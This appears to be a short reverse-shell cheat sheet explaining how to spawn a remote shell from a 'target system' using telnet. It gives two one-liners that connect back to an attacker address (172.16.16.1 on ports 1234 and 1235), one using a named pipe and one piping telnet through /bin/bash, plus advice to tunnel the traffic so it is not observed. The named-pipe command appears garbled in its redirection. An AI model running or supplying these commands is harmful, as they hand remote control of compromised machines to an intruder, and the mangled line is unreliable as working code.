Reverse Shells: telnet style
In these reverse shell scenarios, your IP is 172.16.16.1 and your port is 1234. Telnet should be piped through an encrypted tunnel, unless you don't mind people snooping on you.
Telnet is less and less common
Telnet isn't often installed by default any more. But, if it does exist on your target system, here are two one liners you can use to spawn a reverse shell with telnet.
Telnet reverse shell using sockets:
rm -rf /tmp/p; mknod /tmp/p p && telnet 172.16.16.1 1234 0/tmp/p
Straight-forward telnet connect-back shell:
telnet 172.16.16.1 1234 | /bin/bash | telnet 172.16.16.1 1235